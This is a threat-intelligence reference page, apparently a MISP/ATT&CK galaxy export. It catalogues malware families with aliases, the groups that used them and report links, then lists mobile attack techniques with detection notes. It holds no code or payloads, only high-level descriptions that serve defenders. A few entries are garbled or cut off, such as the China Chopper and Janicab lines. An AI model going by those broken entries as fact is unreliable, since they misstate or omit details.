BISCUIT is a backdoor that has been used by APT1 since as early as 2007.[[Citation: Mandiant APT1]]
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Uroburos
Uroburos is a rootkit used by Turla.[[Citation: Kaspersky Turla]]
Links |
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/ |
POWERSOURCE
POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped.[[Citation: FireEye FIN7 March 2017]][[Citation: Cisco DNSMessenger March 2017]]
Aliases: POWERSOURCE, DNSMessenger
POWERSOURCE is also known as:
-
POWERSOURCE
-
DNSMessenger
Links |
https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html |
hcdLoader
hcdLoader is a remote access tool (RAT) that has been used by APT18.[[Citation: Dell Lateral Movement]]
Links |
Zeroaccess
Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain.[[Citation: Sophos ZeroAccess]]
Aliases: Zeroaccess, Trojan.Zeroaccess
Zeroaccess is also known as:
-
Zeroaccess
-
Trojan.Zeroaccess
Links |
https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf |
Skeleton Key
Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password.Skeleton Key is included as a module in Mimikatz.
Links |
http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/ |
Shamoon
Shamoon is malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states.[[Citation: FireEye Shamoon Nov 2016]][[Citation: Palo Alto Shamoon Nov 2016]]
Aliases: Shamoon, Disttrack
Shamoon is also known as:
-
Shamoon
-
Disttrack
4H RAT
4H RAT is malware that has been used by Putter Panda since at least 2007.[[Citation: CrowdStrike Putter Panda]]
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
BOOTRASH
BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector.[[Citation: MTrends 2016]]
Links |
https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf |
China Chopper
China Chopper is a Threat Group-3390.[[Citation: Dell TG-3390]]
Links |
Wiper
Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies.[[Citation: Dell Wiper]]
Links |
Unknown Logger
Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign.[[Citation: Forcepoint Monsoon]]
Links |
gh0st
gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups.[[Citation: FireEye Hacking Team]]
Links |
https://www.fireeye.com/blog/threat-research/2015/07/demonstrating%20hustle.html |
CORESHELL
CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]
Aliases: CORESHELL, SOURFACE
CORESHELL is also known as:
-
CORESHELL
-
SOURFACE
Remsec
Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua.[[Citation: Symantec Strider Blog]]
Aliases: Remsec, Backdoor.Remsec, ProjectSauron
Remsec is also known as:
-
Remsec
-
Backdoor.Remsec
-
ProjectSauron
Links |
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets |
FLASHFLOOD
FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]
Links |
TINYTYPHON
TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm.[[Citation: Forcepoint Monsoon]]
Links |
SeaDuke
SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar.[[Citation: F-Secure The Dukes]]
Aliases: SeaDuke, SeaDaddy, SeaDesk
SeaDuke is also known as:
-
SeaDuke
-
SeaDaddy
-
SeaDesk
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
Janicab
is an OS X trojan that relied on a valid developer ID and oblivious users to install it.[[Citation: Janicab]]
Links |
http://www.thesafemac.com/new-signed-malware-called-janicab/ |
ADVSTORESHELL
ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase.[[Citation: Kaspersky Sofacy]][[Citation: ESET Sednit Part 2]]
Aliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco
ADVSTORESHELL is also known as:
-
ADVSTORESHELL
-
NETUI
-
EVILTOSS
-
AZZY
-
Sedreco
Links |
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf |
S-Type
S-Type is a backdoor that was used by Dust Storm from 2013 to 2014.[[Citation: Cylance Dust Storm]]
Links |
NetTraveler
NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013.[[Citation: Kaspersky NetTraveler]]
Links |
http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf |
Dyre
Dyre is a Trojan that usually targets banking information.[[Citation: Raff 2015]]
Links |
http://www.seculert.com/blogs/new-dyre-version-yet-another-malware-evading-sandboxes |
P2P ZeuS
P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture.[[Citation: Dell P2P ZeuS]]
Aliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS
P2P ZeuS is also known as:
-
P2P ZeuS
-
Peer-to-Peer ZeuS
-
Gameover ZeuS
Links |
ComRAT
ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.[[Citation: Symantec Waterbug]][[Citation: NorthSec 2015 GData Uroburos Tools]]
Links |
https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf |
Winnti
Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware.[[Citation: Kaspersky Winnti April 2013]][[Citation: Microsoft Winnti Jan 2017]][[Citation: Novetta Winnti April 2015]]
Links |
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf |
RedLeaves
RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus.[[Citation: PWC Cloud Hopper Technical Annex April 2017]][[Citation: FireEye APT10 April 2017]]
Aliases: RedLeaves, BUGJUICE
RedLeaves is also known as:
-
RedLeaves
-
BUGJUICE
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
RTM
RTM is custom malware written in Delphi. It is used by the group of the same name (RTM).[[Citation: ESET RTM Feb 2017]]
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf |
CallMe
CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell.[[Citation: Scarlet Mimic Jan 2016]]
Links |
HIDEDRV
HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware.[[Citation: ESET Sednit Part 3]][[Citation: Sekoia HideDRV Oct 2016]]
Mis-Type
Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012.[[Citation: Cylance Dust Storm]]
Links |
Hikit
Hikit is malware that has been used by Axiom for late-stage and after the initial compromise.[[Citation: Axiom]]
Links |
http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf |
EvilGrab
EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns.[[Citation: PWC Cloud Hopper Technical Annex April 2017]]
Links |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
ASPXSpy
ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version.[[Citation: Dell TG-3390]]
Aliases: ASPXSpy, ASPXTool
ASPXSpy is also known as:
-
ASPXSpy
-
ASPXTool
Links |
Sykipot
Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims.[[Citation: Alienvault Sykipot DOD Smart Cards]] The group using this malware has also been referred to as Sykipot.[[Citation: Blasco 2013]]
Links |
http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments |
GLOOXMAIL
GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic.[[Citation: Mandiant APT1]]
Aliases: GLOOXMAIL, Trojan.GTALK
GLOOXMAIL is also known as:
-
GLOOXMAIL
-
Trojan.GTALK
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Emissary
Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio.[[Citation: Lotus Blossom Dec 2015]]
Links |
Miner-C
Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread.[[Citation: Softpedia MinerC]]
Aliases: Miner-C, Mal/Miner-C, PhotoMiner
Miner-C is also known as:
-
Miner-C
-
Mal/Miner-C
-
PhotoMiner
Links |
KOMPROGO
KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management.[[Citation: FireEye APT32 May 2017]]
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
DustySky
DustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015.[[Citation: DustySky]][[Citation: DustySky2]]
Aliases: DustySky, NeD Worm
DustySky is also known as:
-
DustySky
-
NeD Worm
Links |
BUBBLEWRAP
BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities.[[Citation: FireEye admin@338]]
Aliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper
BUBBLEWRAP is also known as:
-
BUBBLEWRAP
-
Backdoor.APT.FakeWinHTTPHelper
Links |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
pngdowner
pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple "download-and- execute" utility.[[Citation: CrowdStrike Putter Panda]]
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
SslMM
SslMM is a full-featured backdoor used by Naikon that has multiple variants.[[Citation: Baumgartner Naikon 2015]]
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
Nidiran
Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise.[[Citation: Symantec Suckfly March 2016]]
Aliases: Nidiran, Backdoor.Nidiran
Nidiran is also known as:
-
Nidiran
-
Backdoor.Nidiran
Links |
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates |
Trojan.Mebromi
Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR.[[Citation: Ge 2011]]
Links |
http://www.symantec.com/connect/blogs/bios-threat-showing-again |
OwaAuth
OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390.[[Citation: Dell TG-3390]]
Links |
ROCKBOOT
ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group.[[Citation: FireEye Bootkits]]
Links |
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html |
SNUGRIDE
SNUGRIDE is a backdoor that has been used by menuPass as first stage malware.[[Citation: FireEye APT10 April 2017]]
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html |
OnionDuke
OnionDuke is malware that was used by APT29 from 2013 to 2015.[[Citation: F-Secure The Dukes]]
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
LOWBALL
LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations.[[Citation: FireEye admin@338]]
Links |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
BLACKCOFFEE
BLACKCOFFEE is malware that has been used by APT17 since at least 2013.[[Citation: FireEye APT17]]
Links |
https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf |
Derusbi
Derusbi is malware used by multiple Chinese APT groups.[[Citation: Axiom]][[Citation: ThreatConnect Anthem]] Both Windows and Linux variants have been observed.[[Citation: Fidelis Turbo]]
Epic
Epic is a backdoor that has been used by Turla.[[Citation: Kaspersky Turla]]
Aliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal
Epic is also known as:
-
Epic
-
Tavdig
-
Wipbot
-
WorldCupSec
-
TadjMakhal
Links |
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/ |
Lurid
Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006.[[Citation: Villeneuve 2014]][[Citation: Villeneuve 2011]]
Aliases: Lurid, Enfal
Lurid is also known as:
-
Lurid
-
Enfal
Links |
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html |
3PARA RAT
3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda.[[Citation: CrowdStrike Putter Panda]]
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
JHUHUGIT
JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware.[[Citation: Kaspersky Sofacy]][[Citation: F-Secure Sofacy 2015]][[Citation: ESET Sednit Part 1]][[Citation: FireEye APT28 January 2017]]
Aliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH
JHUHUGIT is also known as:
-
JHUHUGIT
-
Seduploader
-
JKEYSKW
-
Sednit
-
GAMEFISH
ELMER
ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16.[[Citation: FireEye EPS Awakens Part 2]]
Links |
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html |
Mobile Attack - Attack Pattern
ATT&CK tactic.
Mobile Attack - Attack Pattern is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Malicious SMS Message - MOB-T1057
An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).
An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.
As described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1057 |
http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html |
Eavesdrop on Insecure Network Communication - MOB-T1042
If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication. For example, He et al. (Citation: mHealth) describe numerous healthcare-related applications that did not properly protect network communication.
Platforms: Android, iOS
Disguise Root/Jailbreak Indicators - MOB-T1011
An adversary could use knowledge of the techniques used by security software to evade detection. For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection as described by (Citation: Rastogi) et al. (Citation: Rastogi).
(Citation: Brodie) (Citation: Brodie) describes limitations of jailbreak/root detection mechanisms.
(Citation: Tan) (Citation: Tan) describes his experience defeating the jailbreak detection used by the iOS version of Good for Enterprise.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1011 |
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html |
http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf[http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf] |
https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf |
Device Type Discovery - MOB-T1022
On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1022 |
Premium SMS Toll Fraud - MOB-T1051
A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary, for example as described by Lookout in (Citation: Lookout-SMS).
On iOS, apps cannot send SMS messages.
On Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).
Detection: As described in Google’s Android Security 2014 Year in Review Report (Citation: AndroidSecurity2014), starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.
On Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1051 |
Obtain Device Cloud Backups - MOB-T1073
An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google’s Android backup service or Apple’s iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple’s iCloud (Citation: Elcomsoft-EPPB).
Detection: Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.
Platforms: Android, iOS
Access Sensitive Data in Device Logs - MOB-T1016
On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device’s system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.
Platforms: Android
Attack PC via USB Connection - MOB-T1030
With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC. Wang and Stavrou (Citation: Wang-ExploitingUSB) and Kamkar (Citation: ArsTechnica-PoisonTap) describe this technique. This technique has been demonstrated on Android, and we are unaware of any demonstrations on iOS.
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1030 |
https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html |
Android Intent Hijacking - MOB-T1019
A malicious app can register to receive intents meant for other applications and may then be able to receive sensitive values such as OAuth authorization codes as described in (Citation: IETF-PKCE).
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1019 |
URL Scheme Hijacking - MOB-T1018
An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application. This technique, for example, could be used to capture OAuth authorization codes as described in (Citation: IETF-PKCE) or to phish user credentials as described in (Citation: MobileIron-XARA). Related potential security implications are described in (Citation: Dhanjani-URLScheme). FireEye researchers describe URL scheme hijacking in a blog post (Citation: FireEye-Masque2), including evidence of its use.
Platforms: iOS
Exploit Enterprise Resources - MOB-T1031
Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device’s access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1031 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html |
Modify System Partition - MOB-T1003
If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.
Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.
Detection: Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition.
The Android SafetyNet API’s remote attestation capability could potentially be used to identify and respond to compromised devices.
Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices.
As described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.
Platforms: Android, iOS
System Information Discovery - MOB-T1029
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.
On Android, much of this information is programmatically accessible to applications through the android.os.Build class (Citation: Android-Build).
On iOS, techniques exist for applications to programmatically access this information, for example as described in (Citation: StackOverflow-iOSVersion).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1029 |
Network Service Scanning - MOB-T1026
Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device’s access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1026 |
Access Call Log - MOB-T1036
On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.
On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.
Detection: On Android 6.0 and up, the user can view which applications have permission to access call log information through the device settings screen, and the user can choose to revoke the permissions.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1036 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html |
Detect App Analysis Environment - MOB-T1043
An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.
Discussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).
(Citation: Wang) presents a discussion of iOS anti-analysis techniques.
Platforms: Android, iOS
Malicious Web Content - MOB-T1059
Content of a web page could be designed to exploit vulnerabilities in a web browser running on the mobile device.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1059 |
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html |
Fake Developer Accounts - MOB-T1045
An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1045 |
Malicious Media Content - MOB-T1060
Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).
Platforms: Android, iOS
App Delivered via Email Attachment - MOB-T1037
The application is delivered as an email attachment.
Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.
Platforms: Android, iOS
Standard Application Layer Protocol - MOB-T1040
Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.
In the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. As described by Kaspersky (Citation: Kaspersky-MobileMalware), Google responds to reports of abuse by blocking access to GCM.
Platforms: Android, iOS
File and Directory Discovery - MOB-T1023
On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.
iOS’s security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1023 |
Wipe Device Data - MOB-T1050
A malicious application could abuse Android device administrator access to wipe device contents, for example if a ransom is not paid.
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1050 |
Microphone or Camera Recordings - MOB-T1032
An adversary could use a malicious or exploited application to surreptitiously record activities using the device microphone and/or camera through use of standard operating system APIs.
Detection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to use the microphone or the camera through the device settings screen, and the user can choose to revoke the permissions.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1032 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html |
Malicious or Vulnerable Built-in Device Functionality - MOB-T1076
The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1076 |
Obfuscated or Encrypted Payload - MOB-T1009
An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques, as described in (Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS).
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1009 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html |
http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf[http://pages.cs.wisc.edu/vrastogi/static/papers/rcj13b.pdf] |
http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao |
User Interface Spoofing - MOB-T1014
At least three methods exist to perform User Interface Spoofing:
First, on both Android and iOS, an adversary could impersonate the user interface of a legitimate app or device function to trick a user into entering account credentials.
Second, on both Android and iOS, a malicious app could impersonate the identity of another app in order to trick users into installing and using it.
Third, on older versions of Android, a malicious app could abuse mobile operating system features to interfere with a running legitimate app as described in (Citation: Felt-PhishingOnMobileDevices) and (Citation: Hassell-ExploitingAndroid). However, this technique appears to have been addressed starting in Android 5.0 with the deprecation of the Android’s ActivityManager.getRunningTasks method and modification of its behavior (Citation: Android-getRunningTasks) and further addressed in Android 5.1.1 (Citation: StackOverflow-getRunningAppProcesses) to prevent a malicious app from determining what app is currently in the foreground.
Platforms: Android, iOS
Exploit Baseband Vulnerability - MOB-T1058
A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.
-
Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).
Weinmann described and demonstrated "the risk of remotely exploitable memory corruptions in cellular baseband stacks." (Citation: Weinmann-Baseband)
Platforms: Android, iOS
Process Discovery - MOB-T1027
On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the <code>ps</code> command, or by examining the <code>/proc</code> directory. Starting in Android version 7, use of the Linux kernel’s <code>hidepid</code> feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1027 |
Abuse Device Administrator Access to Prevent Removal - MOB-T1004
A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult.
Detection: The device user can view a list of apps with Device Administrator privilege in the device settings.
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1004 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html |
App Delivered via Web Download - MOB-T1034
The application is downloaded from an arbitrary web site. A link to the application’s download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).
Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.
Platforms: Android, iOS
Capture SMS Messages - MOB-T1015
A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.
On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.
On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.
Platforms: Android, iOS
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1015 |
Encrypt Files for Ransom - MOB-T1074
An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android, and we are unaware of any demonstrated use on iOS.
Platforms: Android
Links |
https://attack.mitre.org/mobile/index.php/Technique/MOB-T1074 |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html |
Abuse of iOS Enterprise App Signing Key - MOB-T1048
An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple’s App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).
Detection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple’s App Store.
Platforms: iOS
Local Network Configuration Discovery - MOB-T1025
